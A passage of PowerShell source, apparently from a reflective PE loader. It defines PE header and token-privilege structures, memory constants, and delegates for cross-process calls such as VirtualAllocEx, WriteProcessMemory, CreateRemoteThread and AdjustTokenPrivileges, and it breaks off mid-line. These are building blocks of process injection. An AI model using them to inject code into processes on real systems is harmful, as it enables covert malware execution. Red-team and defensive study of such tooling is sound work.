($TypeBuilder.DefineField('MajorLinkerVersion', [Byte], 'Public')).SetOffset(2) | Out-Null 374 | ($TypeBuilder.DefineField('MinorLinkerVersion', [Byte], 'Public')).SetOffset(3) | Out-Null 375 | ($TypeBuilder.DefineField('SizeOfCode', [UInt32], 'Public')).SetOffset(4) | Out-Null 376 | ($TypeBuilder.DefineField('SizeOfInitializedData', [UInt32], 'Public')).SetOffset(8) | Out-Null 377 | ($TypeBuilder.DefineField('SizeOfUninitializedData', [UInt32], 'Public')).SetOffset(12) | Out-Null 378 | ($TypeBuilder.DefineField('AddressOfEntryPoint', [UInt32], 'Public')).SetOffset(16) | Out-Null 379 | ($TypeBuilder.DefineField('BaseOfCode', [UInt32], 'Public')).SetOffset(20) | Out-Null 380 | ($TypeBuilder.DefineField('BaseOfData', [UInt32], 'Public')).SetOffset(24) | Out-Null 381 | ($TypeBuilder.DefineField('ImageBase', [UInt32], 'Public')).SetOffset(28) | Out-Null 382 | ($TypeBuilder.DefineField('SectionAlignment', [UInt32], 'Public')).SetOffset(32) | Out-Null 383 | ($TypeBuilder.DefineField('FileAlignment', [UInt32], 'Public')).SetOffset(36) | Out-Null 384 | ($TypeBuilder.DefineField('MajorOperatingSystemVersion', [UInt16], 'Public')).SetOffset(40) | Out-Null 385 | ($TypeBuilder.DefineField('MinorOperatingSystemVersion', [UInt16], 'Public')).SetOffset(42) | Out-Null 386 | ($TypeBuilder.DefineField('MajorImageVersion', [UInt16], 'Public')).SetOffset(44) | Out-Null 387 | ($TypeBuilder.DefineField('MinorImageVersion', [UInt16], 'Public')).SetOffset(46) | Out-Null 388 | ($TypeBuilder.DefineField('MajorSubsystemVersion', [UInt16], 'Public')).SetOffset(48) | Out-Null 389 | ($TypeBuilder.DefineField('MinorSubsystemVersion', [UInt16], 'Public')).SetOffset(50) | Out-Null 390 | ($TypeBuilder.DefineField('Win32VersionValue', [UInt32], 'Public')).SetOffset(52) | Out-Null 391 | ($TypeBuilder.DefineField('SizeOfImage', [UInt32], 'Public')).SetOffset(56) | Out-Null 392 | ($TypeBuilder.DefineField('SizeOfHeaders', [UInt32], 'Public')).SetOffset(60) | Out-Null 393 | ($TypeBuilder.DefineField('CheckSum', [UInt32], 'Public')).SetOffset(64) | Out-Null 394 | ($TypeBuilder.DefineField('Subsystem', $SubSystemType, 'Public')).SetOffset(68) | Out-Null 395 | ($TypeBuilder.DefineField('DllCharacteristics', $DllCharacteristicsType, 'Public')).SetOffset(70) | Out-Null 396 | ($TypeBuilder.DefineField('SizeOfStackReserve', [UInt32], 'Public')).SetOffset(72) | Out-Null 397 | ($TypeBuilder.DefineField('SizeOfStackCommit', [UInt32], 'Public')).SetOffset(76) | Out-Null 398 | ($TypeBuilder.DefineField('SizeOfHeapReserve', [UInt32], 'Public')).SetOffset(80) | Out-Null 399 | ($TypeBuilder.DefineField('SizeOfHeapCommit', [UInt32], 'Public')).SetOffset(84) | Out-Null 400 | ($TypeBuilder.DefineField('LoaderFlags', [UInt32], 'Public')).SetOffset(88) | Out-Null 401 | ($TypeBuilder.DefineField('NumberOfRvaAndSizes', [UInt32], 'Public')).SetOffset(92) | Out-Null 402 | ($TypeBuilder.DefineField('ExportTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(96) | Out-Null 403 | ($TypeBuilder.DefineField('ImportTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(104) | Out-Null 404 | ($TypeBuilder.DefineField('ResourceTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(112) | Out-Null 405 | ($TypeBuilder.DefineField('ExceptionTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(120) | Out-Null 406 | ($TypeBuilder.DefineField('CertificateTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(128) | Out-Null 407 | ($TypeBuilder.DefineField('BaseRelocationTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(136) | Out-Null 408 | ($TypeBuilder.DefineField('Debug', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(144) | Out-Null 409 | ($TypeBuilder.DefineField('Architecture', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(152) | Out-Null 410 | ($TypeBuilder.DefineField('GlobalPtr', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(160) | Out-Null 411 | ($TypeBuilder.DefineField('TLSTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(168) | Out-Null 412 | ($TypeBuilder.DefineField('LoadConfigTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(176) | Out-Null 413 | ($TypeBuilder.DefineField('BoundImport', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(184) | Out-Null 414 | ($TypeBuilder.DefineField('IAT', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(192) | Out-Null 415 | ($TypeBuilder.DefineField('DelayImportDescriptor', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(200) | Out-Null 416 | ($TypeBuilder.DefineField('CLRRuntimeHeader', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(208) | Out-Null 417 | ($TypeBuilder.DefineField('Reserved', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(216) | Out-Null 418 | $IMAGE_OPTIONAL_HEADER32 = $TypeBuilder.CreateType() 419 | $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_OPTIONAL_HEADER32 -Value $IMAGE_OPTIONAL_HEADER32 420 | 421 | #Struct IMAGE_NT_HEADERS64 422 | $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' 423 | $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_NT_HEADERS64', $Attributes, [System.ValueType], 264) 424 | $TypeBuilder.DefineField('Signature', [UInt32], 'Public') | Out-Null 425 | $TypeBuilder.DefineField('FileHeader', $IMAGE_FILE_HEADER, 'Public') | Out-Null 426 | $TypeBuilder.DefineField('OptionalHeader', $IMAGE_OPTIONAL_HEADER64, 'Public') | Out-Null 427 | $IMAGE_NT_HEADERS64 = $TypeBuilder.CreateType() 428 | $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_NT_HEADERS64 -Value $IMAGE_NT_HEADERS64 429 | 430 | #Struct IMAGE_NT_HEADERS32 431 | $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' 432 | $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_NT_HEADERS32', $Attributes, [System.ValueType], 248) 433 | $TypeBuilder.DefineField('Signature', [UInt32], 'Public') | Out-Null 434 | $TypeBuilder.DefineField('FileHeader', $IMAGE_FILE_HEADER, 'Public') | Out-Null 435 | $TypeBuilder.DefineField('OptionalHeader', $IMAGE_OPTIONAL_HEADER32, 'Public') | Out-Null 436 | $IMAGE_NT_HEADERS32 = $TypeBuilder.CreateType() 437 | $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_NT_HEADERS32 -Value $IMAGE_NT_HEADERS32 438 | 439 | #Struct IMAGE_DOS_HEADER 440 | $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' 441 | $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_DOS_HEADER', $Attributes, [System.ValueType], 64) 442 | $TypeBuilder.DefineField('e_magic', [UInt16], 'Public') | Out-Null 443 | $TypeBuilder.DefineField('e_cblp', [UInt16], 'Public') | Out-Null 444 | $TypeBuilder.DefineField('e_cp', [UInt16], 'Public') | Out-Null 445 | $TypeBuilder.DefineField('e_crlc', [UInt16], 'Public') | Out-Null 446 | $TypeBuilder.DefineField('e_cparhdr', [UInt16], 'Public') | Out-Null 447 | $TypeBuilder.DefineField('e_minalloc', [UInt16], 'Public') | Out-Null 448 | $TypeBuilder.DefineField('e_maxalloc', [UInt16], 'Public') | Out-Null 449 | $TypeBuilder.DefineField('e_ss', [UInt16], 'Public') | Out-Null 450 | $TypeBuilder.DefineField('e_sp', [UInt16], 'Public') | Out-Null 451 | $TypeBuilder.DefineField('e_csum', [UInt16], 'Public') | Out-Null 452 | $TypeBuilder.DefineField('e_ip', [UInt16], 'Public') | Out-Null 453 | $TypeBuilder.DefineField('e_cs', [UInt16], 'Public') | Out-Null 454 | $TypeBuilder.DefineField('e_lfarlc', [UInt16], 'Public') | Out-Null 455 | $TypeBuilder.DefineField('e_ovno', [UInt16], 'Public') | Out-Null 456 | 457 | $e_resField = $TypeBuilder.DefineField('e_res', [UInt16[]], 'Public, HasFieldMarshal') 458 | $ConstructorValue = [System.Runtime.InteropServices.UnmanagedType]::ByValArray 459 | $FieldArray = @([System.Runtime.InteropServices.MarshalAsAttribute].GetField('SizeConst')) 460 | $AttribBuilder = New-Object System.Reflection.Emit.CustomAttributeBuilder($ConstructorInfo, $ConstructorValue, $FieldArray, @([Int32] 4)) 461 | $e_resField.SetCustomAttribute($AttribBuilder) 462 | 463 | $TypeBuilder.DefineField('e_oemid', [UInt16], 'Public') | Out-Null 464 | $TypeBuilder.DefineField('e_oeminfo', [UInt16], 'Public') | Out-Null 465 | 466 | $e_res2Field = $TypeBuilder.DefineField('e_res2', [UInt16[]], 'Public, HasFieldMarshal') 467 | $ConstructorValue = [System.Runtime.InteropServices.UnmanagedType]::ByValArray 468 | $AttribBuilder = New-Object System.Reflection.Emit.CustomAttributeBuilder($ConstructorInfo, $ConstructorValue, $FieldArray, @([Int32] 10)) 469 | $e_res2Field.SetCustomAttribute($AttribBuilder) 470 | 471 | $TypeBuilder.DefineField('e_lfanew', [Int32], 'Public') | Out-Null 472 | $IMAGE_DOS_HEADER = $TypeBuilder.CreateType() 473 | $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_DOS_HEADER -Value $IMAGE_DOS_HEADER 474 | 475 | #Struct IMAGE_SECTION_HEADER 476 | $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' 477 | $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_SECTION_HEADER', $Attributes, [System.ValueType], 40) 478 | 479 | $nameField = $TypeBuilder.DefineField('Name', [Char[]], 'Public, HasFieldMarshal') 480 | $ConstructorValue = [System.Runtime.InteropServices.UnmanagedType]::ByValArray 481 | $AttribBuilder = New-Object System.Reflection.Emit.CustomAttributeBuilder($ConstructorInfo, $ConstructorValue, $FieldArray, @([Int32] 8)) 482 | $nameField.SetCustomAttribute($AttribBuilder) 483 | 484 | $TypeBuilder.DefineField('VirtualSize', [UInt32], 'Public') | Out-Null 485 | $TypeBuilder.DefineField('VirtualAddress', [UInt32], 'Public') | Out-Null 486 | $TypeBuilder.DefineField('SizeOfRawData', [UInt32], 'Public') | Out-Null 487 | $TypeBuilder.DefineField('PointerToRawData', [UInt32], 'Public') | Out-Null 488 | $TypeBuilder.DefineField('PointerToRelocations', [UInt32], 'Public') | Out-Null 489 | $TypeBuilder.DefineField('PointerToLinenumbers', [UInt32], 'Public') | Out-Null 490 | $TypeBuilder.DefineField('NumberOfRelocations', [UInt16], 'Public') | Out-Null 491 | $TypeBuilder.DefineField('NumberOfLinenumbers', [UInt16], 'Public') | Out-Null 492 | $TypeBuilder.DefineField('Characteristics', [UInt32], 'Public') | Out-Null 493 | $IMAGE_SECTION_HEADER = $TypeBuilder.CreateType() 494 | $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_SECTION_HEADER -Value $IMAGE_SECTION_HEADER 495 | 496 | #Struct IMAGE_BASE_RELOCATION 497 | $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' 498 | $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_BASE_RELOCATION', $Attributes, [System.ValueType], 8) 499 | $TypeBuilder.DefineField('VirtualAddress', [UInt32], 'Public') | Out-Null 500 | $TypeBuilder.DefineField('SizeOfBlock', [UInt32], 'Public') | Out-Null 501 | $IMAGE_BASE_RELOCATION = $TypeBuilder.CreateType() 502 | $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_BASE_RELOCATION -Value $IMAGE_BASE_RELOCATION 503 | 504 | #Struct IMAGE_IMPORT_DESCRIPTOR 505 | $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' 506 | $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_IMPORT_DESCRIPTOR', $Attributes, [System.ValueType], 20) 507 | $TypeBuilder.DefineField('Characteristics', [UInt32], 'Public') | Out-Null 508 | $TypeBuilder.DefineField('TimeDateStamp', [UInt32], 'Public') | Out-Null 509 | $TypeBuilder.DefineField('ForwarderChain', [UInt32], 'Public') | Out-Null 510 | $TypeBuilder.DefineField('Name', [UInt32], 'Public') | Out-Null 511 | $TypeBuilder.DefineField('FirstThunk', [UInt32], 'Public') | Out-Null 512 | $IMAGE_IMPORT_DESCRIPTOR = $TypeBuilder.CreateType() 513 | $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_IMPORT_DESCRIPTOR -Value $IMAGE_IMPORT_DESCRIPTOR 514 | 515 | #Struct IMAGE_EXPORT_DIRECTORY 516 | $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' 517 | $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_EXPORT_DIRECTORY', $Attributes, [System.ValueType], 40) 518 | $TypeBuilder.DefineField('Characteristics', [UInt32], 'Public') | Out-Null 519 | $TypeBuilder.DefineField('TimeDateStamp', [UInt32], 'Public') | Out-Null 520 | $TypeBuilder.DefineField('MajorVersion', [UInt16], 'Public') | Out-Null 521 | $TypeBuilder.DefineField('MinorVersion', [UInt16], 'Public') | Out-Null 522 | $TypeBuilder.DefineField('Name', [UInt32], 'Public') | Out-Null 523 | $TypeBuilder.DefineField('Base', [UInt32], 'Public') | Out-Null 524 | $TypeBuilder.DefineField('NumberOfFunctions', [UInt32], 'Public') | Out-Null 525 | $TypeBuilder.DefineField('NumberOfNames', [UInt32], 'Public') | Out-Null 526 | $TypeBuilder.DefineField('AddressOfFunctions', [UInt32], 'Public') | Out-Null 527 | $TypeBuilder.DefineField('AddressOfNames', [UInt32], 'Public') | Out-Null 528 | $TypeBuilder.DefineField('AddressOfNameOrdinals', [UInt32], 'Public') | Out-Null 529 | $IMAGE_EXPORT_DIRECTORY = $TypeBuilder.CreateType() 530 | $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_EXPORT_DIRECTORY -Value $IMAGE_EXPORT_DIRECTORY 531 | 532 | #Struct LUID 533 | $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' 534 | $TypeBuilder = $ModuleBuilder.DefineType('LUID', $Attributes, [System.ValueType], 8) 535 | $TypeBuilder.DefineField('LowPart', [UInt32], 'Public') | Out-Null 536 | $TypeBuilder.DefineField('HighPart', [UInt32], 'Public') | Out-Null 537 | $LUID = $TypeBuilder.CreateType() 538 | $Win32Types | Add-Member -MemberType NoteProperty -Name LUID -Value $LUID 539 | 540 | #Struct LUID_AND_ATTRIBUTES 541 | $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' 542 | $TypeBuilder = $ModuleBuilder.DefineType('LUID_AND_ATTRIBUTES', $Attributes, [System.ValueType], 12) 543 | $TypeBuilder.DefineField('Luid', $LUID, 'Public') | Out-Null 544 | $TypeBuilder.DefineField('Attributes', [UInt32], 'Public') | Out-Null 545 | $LUID_AND_ATTRIBUTES = $TypeBuilder.CreateType() 546 | $Win32Types | Add-Member -MemberType NoteProperty -Name LUID_AND_ATTRIBUTES -Value $LUID_AND_ATTRIBUTES 547 | 548 | #Struct TOKEN_PRIVILEGES 549 | $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' 550 | $TypeBuilder = $ModuleBuilder.DefineType('TOKEN_PRIVILEGES', $Attributes, [System.ValueType], 16) 551 | $TypeBuilder.DefineField('PrivilegeCount', [UInt32], 'Public') | Out-Null 552 | $TypeBuilder.DefineField('Privileges', $LUID_AND_ATTRIBUTES, 'Public') | Out-Null 553 | $TOKEN_PRIVILEGES = $TypeBuilder.CreateType() 554 | $Win32Types | Add-Member -MemberType NoteProperty -Name TOKEN_PRIVILEGES -Value $TOKEN_PRIVILEGES 555 | 556 | return $Win32Types 557 | } 558 | 559 | Function Get-Win32Constants 560 | { 561 | $Win32Constants = New-Object System.Object 562 | 563 | $Win32Constants | Add-Member -MemberType NoteProperty -Name MEM_COMMIT -Value 0x00001000 564 | $Win32Constants | Add-Member -MemberType NoteProperty -Name MEM_RESERVE -Value 0x00002000 565 | $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_NOACCESS -Value 0x01 566 | $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_READONLY -Value 0x02 567 | $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_READWRITE -Value 0x04 568 | $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_WRITECOPY -Value 0x08 569 | $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_EXECUTE -Value 0x10 570 | $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_EXECUTE_READ -Value 0x20 571 | $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_EXECUTE_READWRITE -Value 0x40 572 | $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_EXECUTE_WRITECOPY -Value 0x80 573 | $Win32Constants | Add-Member -MemberType NoteProperty -Name PAGE_NOCACHE -Value 0x200 574 | $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_REL_BASED_ABSOLUTE -Value 0 575 | $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_REL_BASED_HIGHLOW -Value 3 576 | $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_REL_BASED_DIR64 -Value 10 577 | $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_SCN_MEM_DISCARDABLE -Value 0x02000000 578 | $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_SCN_MEM_EXECUTE -Value 0x20000000 579 | $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_SCN_MEM_READ -Value 0x40000000 580 | $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_SCN_MEM_WRITE -Value 0x80000000 581 | $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_SCN_MEM_NOT_CACHED -Value 0x04000000 582 | $Win32Constants | Add-Member -MemberType NoteProperty -Name MEM_DECOMMIT -Value 0x4000 583 | $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_FILE_EXECUTABLE_IMAGE -Value 0x0002 584 | $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_FILE_DLL -Value 0x2000 585 | $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE -Value 0x40 586 | $Win32Constants | Add-Member -MemberType NoteProperty -Name IMAGE_DLLCHARACTERISTICS_NX_COMPAT -Value 0x100 587 | $Win32Constants | Add-Member -MemberType NoteProperty -Name MEM_RELEASE -Value 0x8000 588 | $Win32Constants | Add-Member -MemberType NoteProperty -Name TOKEN_QUERY -Value 0x0008 589 | $Win32Constants | Add-Member -MemberType NoteProperty -Name TOKEN_ADJUST_PRIVILEGES -Value 0x0020 590 | $Win32Constants | Add-Member -MemberType NoteProperty -Name SE_PRIVILEGE_ENABLED -Value 0x2 591 | $Win32Constants | Add-Member -MemberType NoteProperty -Name ERROR_NO_TOKEN -Value 0x3f0 592 | 593 | return $Win32Constants 594 | } 595 | 596 | Function Get-Win32Functions 597 | { 598 | $Win32Functions = New-Object System.Object 599 | 600 | $VirtualAllocAddr = Get-ProcAddress kernel32.dll VirtualAlloc 601 | $VirtualAllocDelegate = Get-DelegateType @([IntPtr], [UIntPtr], [UInt32], [UInt32]) ([IntPtr]) 602 | $VirtualAlloc = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualAllocAddr, $VirtualAllocDelegate) 603 | $Win32Functions | Add-Member NoteProperty -Name VirtualAlloc -Value $VirtualAlloc 604 | 605 | $VirtualAllocExAddr = Get-ProcAddress kernel32.dll VirtualAllocEx 606 | $VirtualAllocExDelegate = Get-DelegateType @([IntPtr], [IntPtr], [UIntPtr], [UInt32], [UInt32]) ([IntPtr]) 607 | $VirtualAllocEx = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualAllocExAddr, $VirtualAllocExDelegate) 608 | $Win32Functions | Add-Member NoteProperty -Name VirtualAllocEx -Value $VirtualAllocEx 609 | 610 | $memcpyAddr = Get-ProcAddress msvcrt.dll memcpy 611 | $memcpyDelegate = Get-DelegateType @([IntPtr], [IntPtr], [UIntPtr]) ([IntPtr]) 612 | $memcpy = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($memcpyAddr, $memcpyDelegate) 613 | $Win32Functions | Add-Member -MemberType NoteProperty -Name memcpy -Value $memcpy 614 | 615 | $memsetAddr = Get-ProcAddress msvcrt.dll memset 616 | $memsetDelegate = Get-DelegateType @([IntPtr], [Int32], [IntPtr]) ([IntPtr]) 617 | $memset = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($memsetAddr, $memsetDelegate) 618 | $Win32Functions | Add-Member -MemberType NoteProperty -Name memset -Value $memset 619 | 620 | $LoadLibraryAddr = Get-ProcAddress kernel32.dll LoadLibraryA 621 | $LoadLibraryDelegate = Get-DelegateType @([String]) ([IntPtr]) 622 | $LoadLibrary = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($LoadLibraryAddr, $LoadLibraryDelegate) 623 | $Win32Functions | Add-Member -MemberType NoteProperty -Name LoadLibrary -Value $LoadLibrary 624 | 625 | $GetProcAddressAddr = Get-ProcAddress kernel32.dll GetProcAddress 626 | $GetProcAddressDelegate = Get-DelegateType @([IntPtr], [String]) ([IntPtr]) 627 | $GetProcAddress = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetProcAddressAddr, $GetProcAddressDelegate) 628 | $Win32Functions | Add-Member -MemberType NoteProperty -Name GetProcAddress -Value $GetProcAddress 629 | 630 | $GetProcAddressIntPtrAddr = Get-ProcAddress kernel32.dll GetProcAddress #This is still GetProcAddress, but instead of PowerShell converting the string to a pointer, you must do it yourself 631 | $GetProcAddressIntPtrDelegate = Get-DelegateType @([IntPtr], [IntPtr]) ([IntPtr]) 632 | $GetProcAddressIntPtr = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetProcAddressIntPtrAddr, $GetProcAddressIntPtrDelegate) 633 | $Win32Functions | Add-Member -MemberType NoteProperty -Name GetProcAddressIntPtr -Value $GetProcAddressIntPtr 634 | 635 | $VirtualFreeAddr = Get-ProcAddress kernel32.dll VirtualFree 636 | $VirtualFreeDelegate = Get-DelegateType @([IntPtr], [UIntPtr], [UInt32]) ([Bool]) 637 | $VirtualFree = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualFreeAddr, $VirtualFreeDelegate) 638 | $Win32Functions | Add-Member NoteProperty -Name VirtualFree -Value $VirtualFree 639 | 640 | $VirtualFreeExAddr = Get-ProcAddress kernel32.dll VirtualFreeEx 641 | $VirtualFreeExDelegate = Get-DelegateType @([IntPtr], [IntPtr], [UIntPtr], [UInt32]) ([Bool]) 642 | $VirtualFreeEx = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualFreeExAddr, $VirtualFreeExDelegate) 643 | $Win32Functions | Add-Member NoteProperty -Name VirtualFreeEx -Value $VirtualFreeEx 644 | 645 | $VirtualProtectAddr = Get-ProcAddress kernel32.dll VirtualProtect 646 | $VirtualProtectDelegate = Get-DelegateType @([IntPtr], [UIntPtr], [UInt32], [UInt32].MakeByRefType()) ([Bool]) 647 | $VirtualProtect = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualProtectAddr, $VirtualProtectDelegate) 648 | $Win32Functions | Add-Member NoteProperty -Name VirtualProtect -Value $VirtualProtect 649 | 650 | $GetModuleHandleAddr = Get-ProcAddress kernel32.dll GetModuleHandleA 651 | $GetModuleHandleDelegate = Get-DelegateType @([String]) ([IntPtr]) 652 | $GetModuleHandle = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetModuleHandleAddr, $GetModuleHandleDelegate) 653 | $Win32Functions | Add-Member NoteProperty -Name GetModuleHandle -Value $GetModuleHandle 654 | 655 | $FreeLibraryAddr = Get-ProcAddress kernel32.dll FreeLibrary 656 | $FreeLibraryDelegate = Get-DelegateType @([IntPtr]) ([Bool]) 657 | $FreeLibrary = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($FreeLibraryAddr, $FreeLibraryDelegate) 658 | $Win32Functions | Add-Member -MemberType NoteProperty -Name FreeLibrary -Value $FreeLibrary 659 | 660 | $OpenProcessAddr = Get-ProcAddress kernel32.dll OpenProcess 661 | $OpenProcessDelegate = Get-DelegateType @([UInt32], [Bool], [UInt32]) ([IntPtr]) 662 | $OpenProcess = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OpenProcessAddr, $OpenProcessDelegate) 663 | $Win32Functions | Add-Member -MemberType NoteProperty -Name OpenProcess -Value $OpenProcess 664 | 665 | $WaitForSingleObjectAddr = Get-ProcAddress kernel32.dll WaitForSingleObject 666 | $WaitForSingleObjectDelegate = Get-DelegateType @([IntPtr], [UInt32]) ([UInt32]) 667 | $WaitForSingleObject = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($WaitForSingleObjectAddr, $WaitForSingleObjectDelegate) 668 | $Win32Functions | Add-Member -MemberType NoteProperty -Name WaitForSingleObject -Value $WaitForSingleObject 669 | 670 | $WriteProcessMemoryAddr = Get-ProcAddress kernel32.dll WriteProcessMemory 671 | $WriteProcessMemoryDelegate = Get-DelegateType @([IntPtr], [IntPtr], [IntPtr], [UIntPtr], [UIntPtr].MakeByRefType()) ([Bool]) 672 | $WriteProcessMemory = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($WriteProcessMemoryAddr, $WriteProcessMemoryDelegate) 673 | $Win32Functions | Add-Member -MemberType NoteProperty -Name WriteProcessMemory -Value $WriteProcessMemory 674 | 675 | $ReadProcessMemoryAddr = Get-ProcAddress kernel32.dll ReadProcessMemory 676 | $ReadProcessMemoryDelegate = Get-DelegateType @([IntPtr], [IntPtr], [IntPtr], [UIntPtr], [UIntPtr].MakeByRefType()) ([Bool]) 677 | $ReadProcessMemory = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($ReadProcessMemoryAddr, $ReadProcessMemoryDelegate) 678 | $Win32Functions | Add-Member -MemberType NoteProperty -Name ReadProcessMemory -Value $ReadProcessMemory 679 | 680 | $CreateRemoteThreadAddr = Get-ProcAddress kernel32.dll CreateRemoteThread 681 | $CreateRemoteThreadDelegate = Get-DelegateType @([IntPtr], [IntPtr], [UIntPtr], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr]) 682 | $CreateRemoteThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CreateRemoteThreadAddr, $CreateRemoteThreadDelegate) 683 | $Win32Functions | Add-Member -MemberType NoteProperty -Name CreateRemoteThread -Value $CreateRemoteThread 684 | 685 | $GetExitCodeThreadAddr = Get-ProcAddress kernel32.dll GetExitCodeThread 686 | $GetExitCodeThreadDelegate = Get-DelegateType @([IntPtr], [Int32].MakeByRefType()) ([Bool]) 687 | $GetExitCodeThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetExitCodeThreadAddr, $GetExitCodeThreadDelegate) 688 | $Win32Functions | Add-Member -MemberType NoteProperty -Name GetExitCodeThread -Value $GetExitCodeThread 689 | 690 | $OpenThreadTokenAddr = Get-ProcAddress Advapi32.dll OpenThreadToken 691 | $OpenThreadTokenDelegate = Get-DelegateType @([IntPtr], [UInt32], [Bool], [IntPtr].MakeByRefType()) ([Bool]) 692 | $OpenThreadToken = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OpenThreadTokenAddr, $OpenThreadTokenDelegate) 693 | $Win32Functions | Add-Member -MemberType NoteProperty -Name OpenThreadToken -Value $OpenThreadToken 694 | 695 | $GetCurrentThreadAddr = Get-ProcAddress kernel32.dll GetCurrentThread 696 | $GetCurrentThreadDelegate = Get-DelegateType @() ([IntPtr]) 697 | $GetCurrentThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetCurrentThreadAddr, $GetCurrentThreadDelegate) 698 | $Win32Functions | Add-Member -MemberType NoteProperty -Name GetCurrentThread -Value $GetCurrentThread 699 | 700 | $AdjustTokenPrivilegesAddr = Get-ProcAddress Advapi32.dll AdjustTokenPrivileges 701 | $AdjustTokenPrivilegesDelegate = Get-DelegateType @([IntPtr], [Bool], [IntPtr], [UInt32], [IntPtr], [IntPtr]) ([Bool]) 702 | $AdjustTokenPrivileges = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($AdjustTokenPrivilegesAddr, $AdjustTokenPrivilegesDelegate) 703 | $Win32Functions | Add-Member -MemberType NoteProperty -Name AdjustTokenPrivileges -Value $AdjustTokenPrivileges 704 | 705 | $LookupPrivilegeValueAddr = Get-ProcAddress Advapi32.dll LookupPrivilegeValueA 706 | $LookupPrivilegeValueDelegate = Get-DelegateType @([String], [String], [IntPtr]) ([Bool]) 707 | $LookupPrivilegeValue = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($LookupPrivilegeValueAddr, $LookupPrivilegeValueDelegate) 708 | $Win32Functions | Add-Member 